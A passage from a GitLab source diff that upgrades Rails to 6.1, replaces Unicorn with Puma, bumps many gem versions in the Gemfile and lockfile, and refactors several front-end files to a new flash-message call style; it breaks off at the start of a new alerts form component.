diff --git a/GITLAB_KAS_VERSION b/GITLAB_KAS_VERSION
index 6665a53d3b5..4b964e96540 100644
--- a/GITLAB_KAS_VERSION
+++ b/GITLAB_KAS_VERSION
@@ -1 +1 @@
-13.12.0
+14.0.0
diff --git a/GITLAB_PAGES_VERSION b/GITLAB_PAGES_VERSION
index 5edffce6d57..32b7211cb61 100644
--- a/GITLAB_PAGES_VERSION
+++ b/GITLAB_PAGES_VERSION
@@ -1 +1 @@
-1.39.0
+1.40.0
diff --git a/GITLAB_SHELL_VERSION b/GITLAB_SHELL_VERSION
index ce0b2795686..dc18eab7e57 100644
--- a/GITLAB_SHELL_VERSION
+++ b/GITLAB_SHELL_VERSION
@@ -1 +1 @@
-13.18.0
+13.19.0
diff --git a/Gemfile b/Gemfile
index 3aee2845eae..3f4de069464 100644
--- a/Gemfile
+++ b/Gemfile
@@ -2,7 +2,7 @@
source 'https://rubygems.org'
-gem 'rails', '~> 6.0.3.6'
+gem 'rails', '~> 6.1.3.2'
gem 'bootsnap', '~> 1.4.6'
@@ -129,7 +129,7 @@ gem 'fog-local', '~> 0.6'
gem 'fog-openstack', '~> 1.0'
gem 'fog-rackspace', '~> 0.1.1'
gem 'fog-aliyun', '~> 0.3'
-gem 'gitlab-fog-azure-rm', '~> 1.0.1', require: false
+gem 'gitlab-fog-azure-rm', '~> 1.1.1', require: false
# for Google storage
gem 'google-api-client', '~> 0.33'
@@ -183,13 +183,8 @@ gem 'rack', '~> 2.2.3'
# https://github.com/sharpstone/rack-timeout/blob/master/README.md#rails-apps-manually
gem 'rack-timeout', '~> 0.5.1', require: 'rack/timeout/base'
-group :unicorn do
- gem 'unicorn', '~> 5.5'
- gem 'unicorn-worker-killer', '~> 0.4.4'
-end
-
group :puma do
- gem 'puma', '~> 5.1.1', require: false
+ gem 'puma', '~> 5.3.1', require: false
gem 'puma_worker_killer', '~> 0.3.1', require: false
end
@@ -254,7 +249,7 @@ gem 'flowdock', '~> 0.7'
gem 'slack-messenger', '~> 2.3.4'
# Hangouts Chat integration
-gem 'hangouts-chat', '~> 0.0.5'
+gem 'hangouts-chat', '~> 0.0.5', require: 'hangouts_chat'
# Asana integration
gem 'asana', '~> 0.10.3'
@@ -306,15 +301,20 @@ gem 'gitlab-license', '~> 1.5'
gem 'rack-attack', '~> 6.3.0'
# Sentry integration
-gem 'sentry-raven', '~> 3.0'
+gem 'sentry-raven', '~> 3.1'
# PostgreSQL query parsing
-gem 'pg_query', '~> 1.3.0'
+#
+# We need this fork until https://github.com/pganalyze/pg_query/pull/212
+# and https://github.com/pganalyze/pg_query/pull/213 are
+# released. gitlab-labkit will need to be updated to use the pg_query
+# version.
+gem 'gitlab-pg_query', '~> 2.0.4', require: 'pg_query'
gem 'premailer-rails', '~> 1.10.3'
# LabKit: Tracing and Correlation
-gem 'gitlab-labkit', '~> 0.16.2'
+gem 'gitlab-labkit', '~> 0.18.0'
# Thrift is a dependency of gitlab-labkit, we want a version higher than 0.14.0
# because of https://gitlab.com/gitlab-org/gitlab/-/issues/321900
gem 'thrift', '>= 0.14.0'
@@ -341,12 +341,11 @@ group :metrics do
# Prometheus
gem 'prometheus-client-mmap', '~> 0.12.0'
- gem 'raindrops', '~> 0.18'
end
group :development do
gem 'lefthook', '~> 0.7.0', require: false
- gem 'solargraph', '~> 0.40.4', require: false
+ gem 'solargraph', '~> 0.42', require: false
gem 'letter_opener_web', '~> 1.4.0'
@@ -403,7 +402,7 @@ group :development, :test do
end
group :development, :test, :danger do
- gem 'gitlab-dangerfiles', '~> 2.0.0', require: false
+ gem 'gitlab-dangerfiles', '~> 2.1.2', require: false
end
group :development, :test, :coverage do
@@ -483,16 +482,19 @@ gem 'spamcheck', '~> 0.1.0'
# Gitaly GRPC protocol definitions
gem 'gitaly', '~> 13.12.0.pre.rc1'
+# KAS GRPC protocol definitions
+gem 'kas-grpc', '~> 0.0.2'
+
gem 'grpc', '~> 1.30.2'
-gem 'google-protobuf', '~> 3.14.0'
+gem 'google-protobuf', '~> 3.17.1'
gem 'toml-rb', '~> 1.0.0'
# Feature toggles
-gem 'flipper', '~> 0.17.1'
-gem 'flipper-active_record', '~> 0.17.1'
-gem 'flipper-active_support_cache_store', '~> 0.17.1'
+gem 'flipper', '~> 0.21.0'
+gem 'flipper-active_record', '~> 0.21.0'
+gem 'flipper-active_support_cache_store', '~> 0.21.0'
gem 'unleash', '~> 0.1.5'
gem 'gitlab-experiment', '~> 0.5.4'
diff --git a/Gemfile.lock b/Gemfile.lock
index 23876a9ecc9..5cd2431a7d1 100644
--- a/Gemfile.lock
+++ b/Gemfile.lock
@@ -12,64 +12,68 @@ GEM
abstract_type (0.0.7)
acme-client (2.0.6)
faraday (>= 0.17, < 2.0.0)
- actioncable (6.0.3.6)
- actionpack (= 6.0.3.6)
+ actioncable (6.1.3.2)
+ actionpack (= 6.1.3.2)
+ activesupport (= 6.1.3.2)
nio4r (~> 2.0)
websocket-driver (>= 0.6.1)
- actionmailbox (6.0.3.6)
- actionpack (= 6.0.3.6)
- activejob (= 6.0.3.6)
- activerecord (= 6.0.3.6)
- activestorage (= 6.0.3.6)
- activesupport (= 6.0.3.6)
+ actionmailbox (6.1.3.2)
+ actionpack (= 6.1.3.2)
+ activejob (= 6.1.3.2)
+ activerecord (= 6.1.3.2)
+ activestorage (= 6.1.3.2)
+ activesupport (= 6.1.3.2)
mail (>= 2.7.1)
- actionmailer (6.0.3.6)
- actionpack (= 6.0.3.6)
- actionview (= 6.0.3.6)
- activejob (= 6.0.3.6)
+ actionmailer (6.1.3.2)
+ actionpack (= 6.1.3.2)
+ actionview (= 6.1.3.2)
+ activejob (= 6.1.3.2)
+ activesupport (= 6.1.3.2)
mail (~> 2.5, >= 2.5.4)
rails-dom-testing (~> 2.0)
- actionpack (6.0.3.6)
- actionview (= 6.0.3.6)
- activesupport (= 6.0.3.6)
- rack (~> 2.0, >= 2.0.8)
+ actionpack (6.1.3.2)
+ actionview (= 6.1.3.2)
+ activesupport (= 6.1.3.2)
+ rack (~> 2.0, >= 2.0.9)
rack-test (>= 0.6.3)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.0, >= 1.2.0)
- actiontext (6.0.3.6)
- actionpack (= 6.0.3.6)
- activerecord (= 6.0.3.6)
- activestorage (= 6.0.3.6)
- activesupport (= 6.0.3.6)
+ actiontext (6.1.3.2)
+ actionpack (= 6.1.3.2)
+ activerecord (= 6.1.3.2)
+ activestorage (= 6.1.3.2)
+ activesupport (= 6.1.3.2)
nokogiri (>= 1.8.5)
- actionview (6.0.3.6)
- activesupport (= 6.0.3.6)
+ actionview (6.1.3.2)
+ activesupport (= 6.1.3.2)
builder (~> 3.1)
erubi (~> 1.4)
rails-dom-testing (~> 2.0)
rails-html-sanitizer (~> 1.1, >= 1.2.0)
- activejob (6.0.3.6)
- activesupport (= 6.0.3.6)
+ activejob (6.1.3.2)
+ activesupport (= 6.1.3.2)
globalid (>= 0.3.6)
- activemodel (6.0.3.6)
- activesupport (= 6.0.3.6)
- activerecord (6.0.3.6)
- activemodel (= 6.0.3.6)
- activesupport (= 6.0.3.6)
+ activemodel (6.1.3.2)
+ activesupport (= 6.1.3.2)
+ activerecord (6.1.3.2)
+ activemodel (= 6.1.3.2)
+ activesupport (= 6.1.3.2)
activerecord-explain-analyze (0.1.0)
activerecord (>= 4)
pg
- activestorage (6.0.3.6)
- actionpack (= 6.0.3.6)
- activejob (= 6.0.3.6)
- activerecord (= 6.0.3.6)
+ activestorage (6.1.3.2)
+ actionpack (= 6.1.3.2)
+ activejob (= 6.1.3.2)
+ activerecord (= 6.1.3.2)
+ activesupport (= 6.1.3.2)
marcel (~> 1.0.0)
- activesupport (6.0.3.6)
+ mini_mime (~> 1.0.2)
+ activesupport (6.1.3.2)
concurrent-ruby (~> 1.0, >= 1.0.2)
- i18n (>= 0.7, < 2)
- minitest (~> 5.1)
- tzinfo (~> 1.1)
- zeitwerk (~> 2.2, >= 2.2.2)
+ i18n (>= 1.6, < 2)
+ minitest (>= 5.1)
+ tzinfo (~> 2.0)
+ zeitwerk (~> 2.3)
acts-as-taggable-on (7.0.0)
activerecord (>= 5.0, < 6.2)
adamantium (0.2.0)
@@ -133,7 +137,7 @@ GEM
net-http-persistent (~> 4.0)
nokogiri (~> 1.11.0.rc2)
babosa (1.0.4)
- backport (1.1.2)
+ backport (1.2.0)
base32 (0.3.2)
batch-loader (2.0.1)
bcrypt (3.1.16)
@@ -348,13 +352,24 @@ GEM
factory_bot_rails (6.1.0)
factory_bot (~> 6.1.0)
railties (>= 5.0.0)
- faraday (1.0.1)
+ faraday (1.4.2)
+ faraday-em_http (~> 1.0)
+ faraday-em_synchrony (~> 1.0)
+ faraday-excon (~> 1.1)
+ faraday-net_http (~> 1.0)
+ faraday-net_http_persistent (~> 1.1)
multipart-post (>= 1.2, < 3)
+ ruby2_keywords (>= 0.0.4)
faraday-cookie_jar (0.0.7)
faraday (>= 0.8.0)
http-cookie (~> 1.0.0)
+ faraday-em_http (1.0.0)
+ faraday-em_synchrony (1.0.0)
+ faraday-excon (1.1.0)
faraday-http-cache (2.2.0)
faraday (>= 0.8)
+ faraday-net_http (1.0.1)
+ faraday-net_http_persistent (1.1.0)
faraday_middleware (1.0.0)
faraday (~> 1.0)
faraday_middleware-aws-sigv4 (0.3.0)
@@ -366,19 +381,19 @@ GEM
fast_blank (1.0.0)
fast_gettext (1.6.0)
ffaker (2.10.0)
- ffi (1.13.1)
+ ffi (1.15.1)
ffi-compiler (1.0.1)
ffi (>= 1.0.0)
rake
ffi-yajl (2.3.4)
libyajl2 (~> 1.2)
- flipper (0.17.1)
- flipper-active_record (0.17.1)
- activerecord (>= 4.2, < 7)
- flipper (~> 0.17.1)
- flipper-active_support_cache_store (0.17.1)
- activesupport (>= 4.2, < 7)
- flipper (~> 0.17.1)
+ flipper (0.21.0)
+ flipper-active_record (0.21.0)
+ activerecord (>= 5.0, < 7)
+ flipper (~> 0.21.0)
+ flipper-active_support_cache_store (0.21.0)
+ activesupport (>= 5.0, < 7)
+ flipper (~> 0.21.0)
flowdock (0.7.1)
httparty (~> 0.7)
multi_json
@@ -447,13 +462,13 @@ GEM
terminal-table (~> 1.5, >= 1.5.1)
gitlab-chronic (0.10.5)
numerizer (~> 0.2)
- gitlab-dangerfiles (2.0.0)
+ gitlab-dangerfiles (2.1.2)
danger-gitlab
gitlab-experiment (0.5.4)
activesupport (>= 3.0)
request_store (>= 1.0)
scientist (~> 1.6, >= 1.6.0)
- gitlab-fog-azure-rm (1.0.1)
+ gitlab-fog-azure-rm (1.1.1)
azure-storage-blob (~> 2.0)
azure-storage-common (~> 2.0)
fog-core (= 2.1.0)
@@ -467,13 +482,13 @@ GEM
fog-xml (~> 0.1.0)
google-api-client (>= 0.44.2, < 0.51)
google-cloud-env (~> 1.2)
- gitlab-labkit (0.16.2)
+ gitlab-labkit (0.18.0)
actionpack (>= 5.0.0, < 7.0.0)
activesupport (>= 5.0.0, < 7.0.0)
+ gitlab-pg_query (~> 2.0)
grpc (~> 1.19)
jaeger-client (~> 1.1)
opentracing (~> 0.4)
- pg_query (~> 1.3)
redis (> 3.0.0, < 5.0.0)
gitlab-license (1.5.0)
gitlab-mail_room (0.0.9)
@@ -483,6 +498,8 @@ GEM
addressable (~> 2.7)
omniauth (~> 1.9)
openid_connect (~> 1.2)
+ gitlab-pg_query (2.0.4)
+ google-protobuf (>= 3.17.1)
gitlab-sidekiq-fetcher (0.5.6)
sidekiq (~> 5)
gitlab-styles (6.2.0)
@@ -516,7 +533,7 @@ GEM
signet (~> 0.12)
google-cloud-env (1.4.0)
faraday (>= 0.17.3, < 2.0)
- google-protobuf (3.14.0)
+ google-protobuf (3.17.1)
googleapis-common-protos-types (1.0.6)
google-protobuf (~> 3.14)
googleauth (0.14.0)
@@ -622,7 +639,7 @@ GEM
http-cookie (1.0.3)
domain_name (~> 0.5)
http-form_data (2.3.0)
- http-parser (1.2.1)
+ http-parser (1.2.3)
ffi-compiler (>= 1.0, < 2.0)
httparty (0.16.4)
mime-types (~> 3.0)
@@ -676,7 +693,8 @@ GEM
activerecord
kaminari-core (= 1.2.1)
kaminari-core (1.2.1)
- kgio (2.11.3)
+ kas-grpc (0.0.2)
+ grpc (~> 1.0)
knapsack (1.21.1)
rake
kramdown (2.3.1)
@@ -690,7 +708,7 @@ GEM
rest-client (~> 2.0)
launchy (2.5.0)
addressable (~> 2.7)
- lefthook (0.7.2)
+ lefthook (0.7.5)
letter_opener (1.7.0)
launchy (~> 2.2)
letter_opener_web (1.4.0)
@@ -742,7 +760,7 @@ GEM
mime-types-data (3.2020.0512)
mini_histogram (0.3.1)
mini_magick (4.10.1)
- mini_mime (1.1.0)
+ mini_mime (1.0.2)
mini_portile2 (2.5.0)
minitest (5.11.3)
mixlib-cli (2.1.8)
@@ -903,7 +921,6 @@ GEM
peek (1.1.0)
railties (>= 4.0.0)
pg (1.2.3)
- pg_query (1.3.0)
plist (3.6.0)
png_quantizator (0.2.1)
po_to_json (1.0.1)
@@ -929,12 +946,12 @@ GEM
pry (~> 0.13.0)
pry-rails (0.3.9)
pry (>= 0.10.4)
- pry-shell (0.4.0)
+ pry-shell (0.4.1)
pry (~> 0.13.0)
tty-markdown
tty-prompt
public_suffix (4.0.6)
- puma (5.1.1)
+ puma (5.3.2)
nio4r (~> 2.0)
puma_worker_killer (0.3.1)
get_process_mem (~> 0.2)
@@ -962,20 +979,20 @@ GEM
rack-test (1.1.0)
rack (>= 1.0, < 3)
rack-timeout (0.5.2)
- rails (6.0.3.6)
- actioncable (= 6.0.3.6)
- actionmailbox (= 6.0.3.6)
- actionmailer (= 6.0.3.6)
- actionpack (= 6.0.3.6)
- actiontext (= 6.0.3.6)
- actionview (= 6.0.3.6)
- activejob (= 6.0.3.6)
- activemodel (= 6.0.3.6)
- activerecord (= 6.0.3.6)
- activestorage (= 6.0.3.6)
- activesupport (= 6.0.3.6)
- bundler (>= 1.3.0)
- railties (= 6.0.3.6)
+ rails (6.1.3.2)
+ actioncable (= 6.1.3.2)
+ actionmailbox (= 6.1.3.2)
+ actionmailer (= 6.1.3.2)
+ actionpack (= 6.1.3.2)
+ actiontext (= 6.1.3.2)
+ actionview (= 6.1.3.2)
+ activejob (= 6.1.3.2)
+ activemodel (= 6.1.3.2)
+ activerecord (= 6.1.3.2)
+ activestorage (= 6.1.3.2)
+ activesupport (= 6.1.3.2)
+ bundler (>= 1.15.0)
+ railties (= 6.1.3.2)
sprockets-rails (>= 2.0.0)
rails-controller-testing (1.0.5)
actionpack (>= 5.0.1.rc1)
@@ -989,14 +1006,13 @@ GEM
rails-i18n (6.0.0)
i18n (>= 0.7, < 2)
railties (>= 6.0.0, < 7)
- railties (6.0.3.6)
- actionpack (= 6.0.3.6)
- activesupport (= 6.0.3.6)
+ railties (6.1.3.2)
+ actionpack (= 6.1.3.2)
+ activesupport (= 6.1.3.2)
method_source
rake (>= 0.8.7)
- thor (>= 0.20.3, < 2.0)
+ thor (~> 1.0)
rainbow (3.0.0)
- raindrops (0.19.1)
rake (13.0.3)
rb-fsevent (0.10.4)
rb-inotify (0.10.1)
@@ -1130,7 +1146,7 @@ GEM
nokogiri (>= 1.10.5)
rexml
ruby-statistics (2.1.2)
- ruby2_keywords (0.0.2)
+ ruby2_keywords (0.0.4)
ruby_parser (3.15.0)
sexp_processor (~> 4.9)
rubyntlm (0.6.2)
@@ -1169,7 +1185,7 @@ GEM
selenium-webdriver (3.142.7)
childprocess (>= 0.5, < 4.0)
rubyzip (>= 1.2.2)
- sentry-raven (3.0.4)
+ sentry-raven (3.1.2)
faraday (>= 1.0)
settingslogic (2.0.9)
sexp_processor (4.15.1)
@@ -1200,10 +1216,11 @@ GEM
slack-messenger (2.3.4)
snowplow-tracker (0.6.1)
contracts (~> 0.7, <= 0.11)
- solargraph (0.40.4)
- backport (~> 1.1)
+ solargraph (0.42.3)
+ backport (~> 1.2)
benchmark
bundler (>= 1.17.2)
+ diff-lcs (~> 1.4)
e2mmap
jaro_winkler (~> 1.5)
kramdown (~> 2.3)
@@ -1255,8 +1272,8 @@ GEM
terser (1.0.2)
execjs (>= 0.3.0, < 3)
test-prof (0.12.0)
- test_file_finder (0.1.3)
- faraday (~> 1.0.1)
+ test_file_finder (0.1.4)
+ faraday (~> 1.0)
text (1.3.1)
thin (1.8.0)
daemons (~> 1.0, >= 1.0.9)
@@ -1305,8 +1322,8 @@ GEM
tty-screen (~> 0.8)
wisper (~> 2.0)
tty-screen (0.8.1)
- tzinfo (1.2.9)
- thread_safe (~> 0.1)
+ tzinfo (2.0.4)
+ concurrent-ruby (~> 1.0)
u2f (0.2.1)
uber (0.1.0)
unf (0.1.4)
@@ -1314,12 +1331,6 @@ GEM
unf_ext (0.0.7.7)
unicode-display_width (1.7.0)
unicode_utils (1.4.0)
- unicorn (5.5.5)
- kgio (~> 2.6)
- raindrops (~> 0.7)
- unicorn-worker-killer (0.4.4)
- get_process_mem (~> 0)
- unicorn (>= 4, < 6)
uniform_notifier (1.13.0)
unleash (0.1.5)
murmurhash3 (~> 0.1.6)
@@ -1456,9 +1467,9 @@ DEPENDENCIES
faraday_middleware-aws-sigv4 (~> 0.3.0)
fast_blank
ffaker (~> 2.10)
- flipper (~> 0.17.1)
- flipper-active_record (~> 0.17.1)
- flipper-active_support_cache_store (~> 0.17.1)
+ flipper (~> 0.21.0)
+ flipper-active_record (~> 0.21.0)
+ flipper-active_support_cache_store (~> 0.21.0)
flowdock (~> 0.7)
fog-aliyun (~> 0.3)
fog-aws (~> 3.9)
@@ -1475,23 +1486,24 @@ DEPENDENCIES
gitaly (~> 13.12.0.pre.rc1)
github-markup (~> 1.7.0)
gitlab-chronic (~> 0.10.5)
- gitlab-dangerfiles (~> 2.0.0)
+ gitlab-dangerfiles (~> 2.1.2)
gitlab-experiment (~> 0.5.4)
- gitlab-fog-azure-rm (~> 1.0.1)
+ gitlab-fog-azure-rm (~> 1.1.1)
gitlab-fog-google (~> 1.13)
- gitlab-labkit (~> 0.16.2)
+ gitlab-labkit (~> 0.18.0)
gitlab-license (~> 1.5)
gitlab-mail_room (~> 0.0.9)
gitlab-markup (~> 1.7.1)
gitlab-net-dns (~> 0.9.1)
gitlab-omniauth-openid-connect (~> 0.4.0)
+ gitlab-pg_query (~> 2.0.4)
gitlab-sidekiq-fetcher (= 0.5.6)
gitlab-styles (~> 6.2.0)
gitlab_chronic_duration (~> 0.10.6.2)
gitlab_omniauth-ldap (~> 2.1.1)
gon (~> 6.4.0)
google-api-client (~> 0.33)
- google-protobuf (~> 3.14.0)
+ google-protobuf (~> 3.17.1)
gpgme (~> 2.0.19)
grape (~> 1.5.2)
grape-entity (~> 0.9.0)
@@ -1522,6 +1534,7 @@ DEPENDENCIES
json_schemer (~> 0.2.12)
jwt (~> 2.1.0)
kaminari (~> 1.0)
+ kas-grpc (~> 0.0.2)
knapsack (~> 1.21.1)
kramdown (~> 2.3.1)
kubeclient (~> 4.9.1)
@@ -1572,14 +1585,13 @@ DEPENDENCIES
parslet (~> 1.8)
peek (~> 1.1)
pg (~> 1.1)
- pg_query (~> 1.3.0)
png_quantizator (~> 0.2.1)
premailer-rails (~> 1.10.3)
prometheus-client-mmap (~> 0.12.0)
pry-byebug
pry-rails (~> 0.3.9)
pry-shell (~> 0.4.0)
- puma (~> 5.1.1)
+ puma (~> 5.3.1)
puma_worker_killer (~> 0.3.1)
rack (~> 2.2.3)
rack-attack (~> 6.3.0)
@@ -1587,11 +1599,10 @@ DEPENDENCIES
rack-oauth2 (~> 1.16.0)
rack-proxy (~> 0.6.0)
rack-timeout (~> 0.5.1)
- rails (~> 6.0.3.6)
+ rails (~> 6.1.3.2)
rails-controller-testing
rails-i18n (~> 6.0)
rainbow (~> 3.0)
- raindrops (~> 0.18)
rblineprof (~> 0.3.6)
rbtrace (~> 0.4)
rdoc (~> 6.1.2)
@@ -1623,7 +1634,7 @@ DEPENDENCIES
sassc-rails (~> 2.1.0)
seed-fu (~> 2.3.7)
selenium-webdriver (~> 3.142)
- sentry-raven (~> 3.0)
+ sentry-raven (~> 3.1)
settingslogic (~> 2.0.9)
shoulda-matchers (~> 4.0.1)
sidekiq (~> 5.2.7)
@@ -1633,7 +1644,7 @@ DEPENDENCIES
simplecov-cobertura (~> 1.3.1)
slack-messenger (~> 2.3.4)
snowplow-tracker (~> 0.6.1)
- solargraph (~> 0.40.4)
+ solargraph (~> 0.42)
spamcheck (~> 0.1.0)
spring (~> 2.1.0)
spring-commands-rspec (~> 1.0.4)
@@ -1652,8 +1663,6 @@ DEPENDENCIES
truncato (~> 0.7.11)
u2f (~> 0.2.1)
unf (~> 0.1.4)
- unicorn (~> 5.5)
- unicorn-worker-killer (~> 0.4.4)
unleash (~> 0.1.5)
valid_email (~> 0.1)
validates_hostname (~> 1.0.11)
diff --git a/README.md b/README.md
index 103c23f152c..05193e71c7e 100644
--- a/README.md
+++ b/README.md
@@ -68,9 +68,9 @@ GitLab is an open source project and we are very happy to accept community contr
To work on GitLab itself, we recommend setting up your development environment with [the GitLab Development Kit](https://gitlab.com/gitlab-org/gitlab-development-kit).
If you do not use the GitLab Development Kit you need to install and setup all the dependencies yourself, this is a lot of work and error prone.
-One small thing you also have to do when installing it yourself is to copy the example development Unicorn configuration file:
+One small thing you also have to do when installing it yourself is to copy the example development Puma configuration file:
- cp config/unicorn.rb.example.development config/unicorn.rb
+ cp config/puma.rb.example.development config/puma.rb
Instructions on how to start GitLab and how to run the tests can be found in the [getting started section of the GitLab Development Kit](https://gitlab.com/gitlab-org/gitlab-development-kit#getting-started).
@@ -81,8 +81,8 @@ GitLab is a Ruby on Rails application that runs on the following software:
- Ubuntu/Debian/CentOS/RHEL/OpenSUSE
- Ruby (MRI) 2.7.2
- Git 2.31+
-- Redis 4.0+
-- PostgreSQL 11+
+- Redis 5.0+
+- PostgreSQL 12+
For more information please see the [architecture](https://docs.gitlab.com/ee/development/architecture.html) and [requirements](https://docs.gitlab.com/ee/install/requirements.html) documentation.
diff --git a/app/assets/images/aws-cloud-formation.png b/app/assets/images/aws-cloud-formation.png
new file mode 100644
index 00000000000..1d078309d86
--- /dev/null
+++ b/app/assets/images/aws-cloud-formation.png
Binary files differ
diff --git a/app/assets/images/cluster_app_logos/fluentd.png b/app/assets/images/cluster_app_logos/fluentd.png
deleted file mode 100644
index 6d42578f2ce..00000000000
--- a/app/assets/images/cluster_app_logos/fluentd.png
+++ /dev/null
Binary files differ
diff --git a/app/assets/images/mailers/in_product_marketing/experience-0.png b/app/assets/images/mailers/in_product_marketing/experience-0.png
new file mode 100644
index 00000000000..346204d1db1
--- /dev/null
+++ b/app/assets/images/mailers/in_product_marketing/experience-0.png
Binary files differ
diff --git a/app/assets/images/mailers/members/issues.png b/app/assets/images/mailers/members/issues.png
new file mode 100644
index 00000000000..b68a0a33d24
--- /dev/null
+++ b/app/assets/images/mailers/members/issues.png
Binary files differ
diff --git a/app/assets/images/mailers/members/merge-request-open.png b/app/assets/images/mailers/members/merge-request-open.png
new file mode 100644
index 00000000000..2485b0ca970
--- /dev/null
+++ b/app/assets/images/mailers/members/merge-request-open.png
Binary files differ
diff --git a/app/assets/images/mailers/members/users.png b/app/assets/images/mailers/members/users.png
new file mode 100644
index 00000000000..b3954ecbf61
--- /dev/null
+++ b/app/assets/images/mailers/members/users.png
Binary files differ
diff --git a/app/assets/javascripts/add_context_commits_modal/components/add_context_commits_modal_wrapper.vue b/app/assets/javascripts/add_context_commits_modal/components/add_context_commits_modal_wrapper.vue
index 5d074698ea4..90c9113e0e1 100644
--- a/app/assets/javascripts/add_context_commits_modal/components/add_context_commits_modal_wrapper.vue
+++ b/app/assets/javascripts/add_context_commits_modal/components/add_context_commits_modal_wrapper.vue
@@ -2,7 +2,7 @@
import { GlModal, GlTabs, GlTab, GlSearchBoxByType, GlSprintf } from '@gitlab/ui';
import { mapState, mapActions } from 'vuex';
import ReviewTabContainer from '~/add_context_commits_modal/components/review_tab_container.vue';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { BV_SHOW_MODAL } from '~/lib/utils/constants';
import { s__ } from '~/locale';
import eventHub from '../event_hub';
@@ -192,9 +192,11 @@ export default {
window.location.reload();
}
if (!values[0] && !values[1]) {
- createFlash(
- s__('ContextCommits|Failed to create/remove context commits. Please try again.'),
- );
+ createFlash({
+ message: s__(
+ 'ContextCommits|Failed to create/remove context commits. Please try again.',
+ ),
+ });
}
});
} else if (this.uniqueCommits.length > 0) {
diff --git a/app/assets/javascripts/add_context_commits_modal/store/actions.js b/app/assets/javascripts/add_context_commits_modal/store/actions.js
index 7b6f4c81bd2..4e5a2c7b371 100644
--- a/app/assets/javascripts/add_context_commits_modal/store/actions.js
+++ b/app/assets/javascripts/add_context_commits_modal/store/actions.js
@@ -1,6 +1,6 @@
import _ from 'lodash';
import Api from '~/api';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import axios from '~/lib/utils/axios_utils';
import { s__ } from '~/locale';
import * as types from './mutation_types';
@@ -71,7 +71,9 @@ export const createContextCommits = ({ state }, { commits, forceReload = false }
})
.catch(() => {
if (forceReload) {
- createFlash(s__('ContextCommits|Failed to create context commits. Please try again.'));
+ createFlash({
+ message: s__('ContextCommits|Failed to create context commits. Please try again.'),
+ });
}
return false;
@@ -111,7 +113,9 @@ export const removeContextCommits = ({ state }, forceReload = false) =>
})
.catch(() => {
if (forceReload) {
- createFlash(s__('ContextCommits|Failed to delete context commits. Please try again.'));
+ createFlash({
+ message: s__('ContextCommits|Failed to delete context commits. Please try again.'),
+ });
}
return false;
diff --git a/app/assets/javascripts/admin/statistics_panel/store/actions.js b/app/assets/javascripts/admin/statistics_panel/store/actions.js
index 459f11c02f1..77782cdc187 100644
--- a/app/assets/javascripts/admin/statistics_panel/store/actions.js
+++ b/app/assets/javascripts/admin/statistics_panel/store/actions.js
@@ -1,5 +1,5 @@
import Api from '~/api';
-import { deprecatedCreateFlash as createFlash } from '~/flash';
+import createFlash from '~/flash';
import { convertObjectPropsToCamelCase } from '~/lib/utils/common_utils';
import { s__ } from '~/locale';
import * as types from './mutation_types';
@@ -21,5 +21,7 @@ export const receiveStatisticsSuccess = ({ commit }, statistics) =>
export const receiveStatisticsError = ({ commit }, error) => {
commit(types.RECEIVE_STATISTICS_ERROR, error);
- createFlash(s__('AdminDashboard|Error loading the statistics. Please try again'));
+ createFlash({
+ message: s__('AdminDashboard|Error loading the statistics. Please try again'),
+ });
};
diff --git a/app/assets/javascripts/admin/users/components/users_table.vue b/app/assets/javascripts/admin/users/components/users_table.vue
index 2fd96e38f8e..ede5c26e487 100644
--- a/app/assets/javascripts/admin/users/components/users_table.vue
+++ b/app/assets/javascripts/admin/users/components/users_table.vue
@@ -2,16 +2,13 @@
import { GlSkeletonLoader, GlTable } from '@gitlab/ui';
import createFlash from '~/flash';
import { convertNodeIdsFromGraphQLIds } from '~/graphql_shared/utils';
+import { thWidthClass } from '~/lib/utils/table_utility';
import { s__, __ } from '~/locale';
import UserDate from '~/vue_shared/components/user_date.vue';
import getUsersGroupCountsQuery from '../graphql/queries/get_users_group_counts.query.graphql';
import UserActions from './user_actions.vue';
import UserAvatar from './user_avatar.vue';
-const DEFAULT_TH_CLASSES =
- 'gl-bg-transparent! gl-border-b-solid! gl-border-b-gray-100! gl-p-5! gl-border-b-1!';
-const thWidthClass = (width) => `gl-w-${width}p ${DEFAULT_TH_CLASSES}`;
-
export default {
components: {
GlSkeletonLoader,
@@ -112,7 +109,7 @@ export default {
:empty-text="s__('AdminUsers|No users found')"
show-empty
stacked="md"
- data-qa-selector="user_row_content"
+ :tbody-tr-attr="{ 'data-qa-selector': 'user_row_content' }"
>
<template #cell(name)="{ item: user }">
<user-avatar :user="user" :admin-user-path="paths.adminUser" />
diff --git a/app/assets/javascripts/alert_management/components/alert_management_table.vue b/app/assets/javascripts/alert_management/components/alert_management_table.vue
index 8ea977698e1..e59d7fc058a 100644
--- a/app/assets/javascripts/alert_management/components/alert_management_table.vue
+++ b/app/assets/javascripts/alert_management/components/alert_management_table.vue
@@ -26,6 +26,7 @@ import {
} from '~/vue_shared/components/paginated_table_with_search_and_tabs/constants';
import PaginatedTableWithSearchAndTabs from '~/vue_shared/components/paginated_table_with_search_and_tabs/paginated_table_with_search_and_tabs.vue';
import TimeAgo from '~/vue_shared/components/time_ago_tooltip.vue';
+import glFeatureFlagMixin from '~/vue_shared/mixins/gl_feature_flags_mixin';
import { ALERTS_STATUS_TABS, SEVERITY_LEVELS, trackAlertListViewsOptions } from '../constants';
import getAlertsCountByStatus from '../graphql/queries/get_count_by_status.query.graphql';
@@ -114,6 +115,7 @@ export default {
directives: {
GlTooltip: GlTooltipDirective,
},
+ mixins: [glFeatureFlagMixin()],
inject: ['projectPath', 'textQuery', 'assigneeUsernameQuery', 'populatingAlertsHelpUrl'],
apollo: {
alerts: {
@@ -275,7 +277,7 @@ export default {
</gl-sprintf>
</gl-alert>
- <alerts-deprecation-warning />
+ <alerts-deprecation-warning v-if="!glFeatures.managedAlertsDeprecation" />
<paginated-table-with-search-and-tabs
:show-error-msg="showErrorMsg"
diff --git a/app/assets/javascripts/alerts_settings/components/alerts_form.vue b/app/assets/javascripts/alerts_settings/components/alerts_form.vue
new file mode 100644
index 00000000000..696e7f359d1
--- /dev/null
+++ b/app/assets/javascripts/alerts_settings/components/alerts_form.vue
@@ -0,0 +1,143 @@
+<script>
+import {
+ GlButton,
+ GlSprintf,
+ GlLink,
+ GlFormGroup,
+ GlFormCheckbox,
+ GlDropdown,
+ GlDropdownItem,
+} from '@gitlab/ui';
+import {
